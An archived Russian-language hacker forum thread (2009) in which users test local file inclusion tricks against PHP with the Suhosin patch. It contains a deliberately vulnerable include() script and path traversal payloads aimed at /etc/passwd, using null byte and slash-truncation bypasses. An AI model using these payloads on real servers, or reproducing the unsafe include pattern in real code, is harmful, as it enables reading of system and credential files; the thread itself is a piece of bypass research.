PDA

Просмотр полной версии : null byte в PHP c последними версиями Suhosin-Patch


(Dm)
22.11.2009, 22:15
PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28

suhosin - advanced protection module for php5
В обычном PHP, без Suhosin патча, null byte работает при magic_quotes_gpc = OFF, но не работает замена null byte (////[4096]////)

Провел исследование для PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28 и оно не очень так сказать хорошее (

Скрипт (обычный LFI):
<pre>
<?php
if (isset($_GET['p'])) {
echo "PATH: ".$_GET['p']."\n";
include("./".$_GET['p'].".txt");
} else {
echo "Переменная не определена\r\n";
}
?>
</pre>

Результаты при magic_quotes_gpc = OFF и magic_quotes_gpc = ON не отличаются.

1. test.php?p=../../../../../../../etc/passwd

Результат:
PATH: ../../../../../../../etc/passwd
Failed opening './../../../../../../../etc/passwd.txt'


2. test.php?p=../../../../../../../etc/passwd%00

Результат:
Переменная не определена

3. test.php?p=../../../../../../../etc/passwd//////[4096]/////

Результат:
Переменная не определена

4. test.php?p=../../../../../../../etc/passwd//////[1024]/////

Результат:
Переменная не определена

5. test.php?p=../../../../../../../etc/passwd//////[512]/////

Результат:
Переменная не определена

Если объявить переменную:
$_GET['p'] = "../../../../../../../etc/passwd\x00";
Работает

$_GET['p'] = "../../../../../../../etc/passwd///////[4096]//////";
Не работает.

PS если что-то не так поправьте

Ins3t
22.11.2009, 22:46
Хмм, на PHP 5.2.9 еще все работало.

Обновлю, гляну.

(Dm)
22.11.2009, 23:04
Хмм, на PHP 5.2.9 еще все работало.

Обновлю, гляну.
Хм, проверил на версии PHP Version 5.2.11 (CentOS) без Suhosin от Oct 7 2009 08:33:09, там работает.
А у меня PHP 5.2.10-2ubuntu6.1 с Suhosin от Oct 29 2009 19:02:41 не пашет.

Разобрался! Обновил пост.

m0Hze
23.11.2009, 08:00
$_GET['p'] = "../../../../../../../etc/passwd\x00";
Работает


$_GET['p'] = "../../../../../../../etc/passwd///////[4096]//////";
Не работает.
Если мне не изменяет память,второй вариант и не должен работать при таком наборе данных.Тоесть,если переменная определена в движке,прямо в коде,то неважно сколько символов она в себя включает.Обрезание производиться,когда данные поступают из веба.Помоему.Может и не так,поправьте.

Pashkela
23.11.2009, 08:02
if (isset($_GET['p'])) - а откуда здесь данные берутся, как не "из веба"? Ничего тут не определенно, обычнейший GET

m0Hze
23.11.2009, 08:13
if (isset($_GET['p'])) - а откуда здесь данные берутся, как не "из веба"? Ничего тут не определенно, обычнейший GET
Мы непоняли друг друга паш :(

m0Hze
23.11.2009, 08:16
]
PHP в зависимости от платформы имеет ограничение на длину пути, определяемой константой MAX_PATH, в результате чего все символы, находящиеся за пределами этого значения, отбрасываются.

Все верно,значит я с чем-то спутал.

(Dm)
23.11.2009, 08:53
.
Если мне не изменяет память,второй вариант и не должен работать при таком наборе данных.Тоесть,если переменная определена в движке,прямо в коде,то неважно сколько символов она в себя включает.Обрезание производиться,когда данные поступают из веба.Помоему.Может и не так,поправьте.
Cам проверь и тогда поймешь что где обрезается =)
Если мне не изменяет память
Постить на догадках - бред, да мало-ли что может быть.
Так что меньше пустословия, больше фактов... за тобой я это давно уже заметил.